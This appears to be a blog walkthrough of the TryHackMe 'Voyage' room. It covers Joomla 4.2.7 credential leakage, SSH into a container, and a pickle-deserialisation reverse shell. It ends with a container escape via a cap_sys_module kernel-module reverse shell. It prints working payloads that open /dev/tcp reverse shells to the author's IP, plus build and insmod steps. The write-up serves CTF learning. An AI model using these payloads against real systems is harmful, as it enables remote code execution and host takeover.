Tryhackme Walkthough: Voyage
Sometimes in a pentest, you get root access very quickly. But is it the real root or just a container? The voyage might still be going on.
Tryhackme Walkthough: Voyage
Sometimes in a pentest, you get root access very quickly. But is it the real root or just a container? The voyage might still be going on.
Link to THM room here.

1. Recon — nmap
- nmap scan reveals the ports 22, 80 and 2222.
# Nmap 7.95 scan initiated Wed Nov 12 06:09:44 2025 as: /usr/lib/nmap/nmap --privileged -sCV -o nmap.txt voyage.thm
Nmap scan report for voyage.thm (10.201.36.117)
Host is up (0.31s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 62:63:09:e4:55:6d:6a:a0:9f:64:5f:f2:45:b5:55:3f (ECDSA)
|_ 256 a7:01:ac:70:fe:94:cc:1e:c5:75:58:9c:16:88:1e:e9 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Home
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.58 (Ubuntu)
| http-robots.txt: 16 disallowed entries (15 shown)
| /joomla/administrator/ /administrator/ /api/ /bin/
| /cache/ /cli/ /components/ /includes/ /installation/
|_/language/ /layouts/ /libraries/ /logs/ /modules/ /plugins/
2222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad:4a:7e:34:01:09:f8:68:d8:f7:dd:b8:57:d4:17:cf (RSA)
| 256 8d:cd:5e:60:35:c8:65:66:3a:c5:5c:2f:ac:62:93:80 (ECDSA)
|_ 256 a9:d5:16:b1:5d:4a:4c:94:3f:fd:a9:68:5f:24:ee:79 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Nov 12 06:10:19 2025 -- 1 IP address (1 host up) scanned in 34.98 seconds
2. Recon — Website
- Since there is only ssh and http ports, the next step is to check the website at port 80
- For convenience, I have added the ip address as voyage.thm in /etc/hosts.
sudo echo "10.49.178.202 voyage.thm" >> /etc/hosts
- There is only a login page on the website. Standard username and passwords don’t work (e.g. admin:password)

- On http://voyage.thm/robots.txt page, we can see different sites. It also tells me that it uses Joomla.

- I usually use gobuster, but since there’s robots.txt already provides so many folders, we can just check these first.
- I check the administrator directory — it’s another login.
- With some googling about the Joomla CMS and exploits, we find that the server is leaking info. In particular, at http://voyage.thm/administrator/manifests/files/joomla.xml, I find that the Joomla is version 4.2.7.

- After some searching Joomla 4.2.7, I eventually found that it has an improper API access vulnerability, which we can use metasploit.

- Run the commands: options → set RHOSTS <ip_address> → run. In a few seconds, you get some creds.

- I tried the creds on login page, but it didn’t work. The creds worked for ssh at port 2222!
3. Shell as root (in container 1)
- Upon login, you see that the hostname is an alphanumeric string. This suggests that we are in a container.
└─$ ssh root@voyage.thm -p 2222
root@voyage.thm's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 6.8.0-1031-aws x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Wed Jun 25 18:01:57 2025 from 10.10.9.89
root@f5eb774507f2:~#
- You can confirm this by checking the root folder — there is a .dockerenv file.
root@f5eb774507f2:~# ls -la /
<-- snip -->
-rwxr-xr-x 1 root root 0 Jun 25 18:01 .dockerenv
- When you run ps aux, it shows a short list of processes, another indication of docker container. This short list indicates that it is in a separate namespace from the host — this is considered a secure configuration. (I wrote about shared namespace container exploits previously here.)
root@f5eb774507f2:~# ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.1 12196 7040 ? Ss 00:53 0:00 sshd: /usr/sbin/sshd
root 9 0.0 0.2 13908 8576 ? Rs 01:22 0:00 sshd: root@pts/0
root 20 0.0 0.0 6000 3712 pts/0 Ss 01:22 0:00 -bash
root 25 0.0 0.0 7652 3200 pts/0 R+ 01:25 0:00 ps aux
- Check capabilities — there is no cap_sys_admin, cap_sys_module, cap_sys_ptrace. These are the ones that can potentially allow for escape.
root@f5eb774507f2:~# capsh --print
WARNING: libcap needs an update (cap=40 should have a name).
Current: = cap_chown,cap_dac_override,cap_fowner,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_audit_write+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_audit_write
<-- snip-->
- Check the container’s IP address, then do a network scan of the local network. Conveniently, nmap binary exists in the container.
root@f5eb774507f2:~# hostname -I
192.168.100.10
root@f5eb774507f2:~# nmap 192.168.100.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2025-11-20 01:31 UTC
Nmap scan report for ip-192-168-100-1.ap-south-1.compute.internal (192.168.100.1)
Host is up (0.0000050s latency).
Not shown: 996 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
2222/tcp open EtherNetIP-1
5000/tcp open upnp
MAC Address: 02:42:5B:D3:2C:DE (Unknown)
Nmap scan report for voyage_priv2.joomla-net (192.168.100.12)
Host is up (0.0000060s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
5000/tcp open upnp
MAC Address: 02:42:C0:A8:64:0C (Unknown)
Nmap scan report for f5eb774507f2 (192.168.100.10)
Host is up (0.0000040s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 256 IP addresses (3 hosts up) scanned in 2.84 seconds
- Aside from the current container, there are 2 other connected devices. The first one must be the container’s host. Let’s try investigating port 5000 of 192.168.100.12. A more detailed nmap scan shows that it is a http port.

- Since we can’t view it directly from the ssh shell, we will have to forward the port to our machine. On my machine, I use the following command:
$ ssh -L 5000:192.168.100.12:5000 root@voyage.thm -p 2222
root@voyage.thm's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 6.8.0-1031-aws x86_64)
<-- snip -->
4. Secret Finance Portal
- We can now view the site on our own machine, from the browser, at http://localhost:5000. It is a login page again, and I try the same and only set of credentials I have. It worked.

- There’s nothing much, so I intercepted the http request using burpsuite. Took me a while, but I finally figured out the secret is in the session_data cookie. It is a hex string that reveals some interesting text when decoded. When you see such cookies (typically base64 or hex), we can suspect a insecure deserialisation vulnerability.


- Using the below python program to ‘unpickle’ the string, we see it is a Json object.
import pickle
session_data = "80049525000000000000007d94288c0475736572948c0474657374948c07726576656e7565948c05383530303094752e"
obj = pickle.loads(bytes.fromhex(session_data))
print("Unpickled object:", obj)
# Output: Unpickled object: {'user': 'test', 'revenue': '85000'}
Insecure deserialization occurs when an application blindly reconstructs objects from serialized data without validation. An attacker can create malicious serialized data that contains hidden commands or code. When the application deserializes this data, it executes those commands, often leading to remote code execution.
- Now let’s create a malicious string, that when deserialised by the server, creates a reverse shell that connects to my machine. I use the below python program to create such a string. You need to change your ip address and port accordingly.
import pickle, os
class Exploit(object):
def __reduce__(self):
return (os.system, ("/bin/bash -c 'bash -i >& /dev/tcp/10.4.103.212/4444 0>&1'",))
serialized_data = pickle.dumps(Exploit()).hex()
print(serialized_data)
- Use Burpsuite to send a request to http://localhost:5000 again, but change the session data to the malicious serialized_data generated by python code above. Meanwhile set up a listener in your machine.
5. Shell as root (in another container!)
- After a while, you get a connection. This is another container, and you can find user.txt in the /root folder.
(kali㉿kali)-[~/Desktop/voyage]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.135.244] from (UNKNOWN) [10.49.178.202] 35092
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@d221f7bc7bf8:/finance-app# ls -la /root
ls -la
total 140
drwx------ 1 root root 4096 Jun 25 14:53 .
drwxr-xr-x 1 root root 4096 Jun 26 18:36 ..
-rw-r--r-- 1 root root 137 Jun 25 14:48 .Module.symvers.cmd
-rw------- 1 root root 446 Jun 26 18:37 .bash_history
-rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc
drwxr-xr-x 3 root root 4096 Jun 24 12:21 .local
-rw-r--r-- 1 root root 86 Jun 25 14:48 .modules.order.cmd
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
-rw-r--r-- 1 root root 163 Jun 25 14:48 .revshell.ko.cmd
-rw-r--r-- 1 root root 120 Jun 25 14:48 .revshell.mod.cmd
-rw-r--r-- 1 root root 45792 Jun 25 14:48 .revshell.mod.o.cmd
-rw-r--r-- 1 root root 44610 Jun 25 14:48 .revshell.o.cmd
-rw-r--r-- 1 root root 38 Jun 24 15:17 user.txt
- There are some interesting files. Ignoring the .cmd postfix, it hints at kernel module exploits. (.ko stand for kernel object). You can escape a container using kernel module exploits if you have cap_sys_module, which I confirmed that we have!
root@d221f7bc7bf8:~# capsh --print
capsh --print
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
<-- snip -->
- Loading a kernel module is complex and requires a deep understanding of linux kernels. You can read more about them in the references below.
- First in my own machine I create “shell.c”. You can find this on Hacktricks — just change the ip address and port number to your own machine.
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
- Next, still in my own machine, I create “Makefile”. This is the one you need to be more careful with in this CTF! It won’t work if you just use the one on Hacktricks. I will explain this a bit more in the next section — for now, just change the folder to “/lib/modules/6.8.0–1030-aws/build”. (Important: The blank char before each make word in the Makefile must be a tab, not spaces!)
obj-m +=shell.o
all:
make -C /lib/modules/6.8.0-1030-aws/build M=$(PWD) modules
clean:
make -C /lib/modules/6.8.0-1030-aws/build M=$(PWD) clean
- Transfer both shell.c and Makefile to the container. Once done, run the command “make” in the container → Set up listener in your own machine → run the command “insmod shell.ko”
root@d221f7bc7bf8:~# make
make
make -C /lib/modules/6.8.0-1030-aws/build M=build M=/root modules
make[1]: Entering directory '/usr/src/linux-headers-6.8.0-1030-aws'
warning: the compiler differs from the one used to build the kernel
The kernel was built by: x86_64-linux-gnu-gcc-12 (Ubuntu 12.3.0-1ubuntu1~22.04) 12.3.0
You are using: gcc-12 (Ubuntu 12.3.0-1ubuntu1~22.04) 12.3.0
CC [M] /root/shell.o
MODPOST /root/Module.symvers
CC [M] /root/shell.mod.o
LD [M] /root/shell.ko
BTF [M] /root/shell.ko
Skipping BTF generation for /root/shell.ko due to unavailability of vmlinux
make[1]: Leaving directory '/usr/src/linux-headers-6.8.0-1030-aws'
root@d221f7bc7bf8:~# insmod shell.ko
insmod shell.ko
- Your listener will then receive a connection — this time as the real root of the host, where the root.txt can be found in /root.
Understanding the cap_sys_module Escape
What is cap_sys_module capability?
It lets you load kernel modules (.ko files) into the Linux kernel itself. Loading a kernel module = you can inject your own code straight into the operating system, and it runs with the highest possible privileges.
How do we build a kernel code?
A kernel code needs to be built with the exact kernel version that your machine is using. The version can be found using “uname -r” command.
We would first install the kernel headers — basically it creates all the necessary modules and build environment needed to compile your c program into the kernel code.
# Install the exact set of header files that match the kernel I am running right now.
sudo apt-get install linux-headers-$(uname -r)

We then create a Makefile, as follows, before you call ‘make’ to compile.

So what was the issue in the CTF?
Well, since we are in a CTF container, we can’t do “apt-get install linux-headers-$(uname -r)”, since it’s not connected to the internet. In a real-world situation, I imagine we want to avoid this too, for stealth reasons.
In the CTF, we check the kernel version:
root@d221f7bc7bf8:~# uname -r
uname -r
6.8.0-1031-aws
But the kernel headers available in the container are different versions — this means we don’t have the exact build environment required for our kernel.
root@d221f7bc7bf8:/finance-app# cd /lib/modules
cd /lib/modules
root@d221f7bc7bf8:/lib/modules# ls -la
ls -la
total 16
drwxr-xr-x 1 root root 4096 Jun 26 18:34 .
drwxr-xr-x 1 root root 4096 Jun 17 20:16 ..
drwxr-xr-x 2 root root 4096 Jun 17 20:16 6.8.0-1029-aws
drwxr-xr-x 2 root root 4096 Jun 26 18:34 6.8.0-1030-aws
We can still build it anyway, using the closest version available — 6.8.0–1030-aws. That’s why in our Makefile we used this, instead of simply referring to $(uname -r). The build environment for $(uname -r) doesn’t exist!
make -C /lib/modules/6.8.0-1030-aws/build M=$(PWD) modules
That’s also why we get a warning when we use make:
“warning: the compiler differs from the one used to build the kernel”
Why did the module load even when we use a different kernel version from the build directory?
6.8.0–1031-aws is a minor patch over 6.8.0–1030-aws. The kernel is designed to load modules even with minor patch-level mismatches if the core version (6.8.0) and the ABI signature (a hash of the exported functions) remain the same
References (on cap_sys_module)
메타데이터
- post_id
- beaa3c853d80
- slug
- tryhackme-walkthough-voyage-beaa3c853d80
- url
- https://medium.com/@indigoshadowwashere/tryhackme-walkthough-voyage-beaa3c853d80
- canonical_url
- https://medium.com/@indigoshadowwashere/tryhackme-walkthough-voyage-beaa3c853d80
- author_url
- https://medium.com/@indigoshadowwashere
- status
- ok
- fetched_at
- 2026-08-30 14:23:32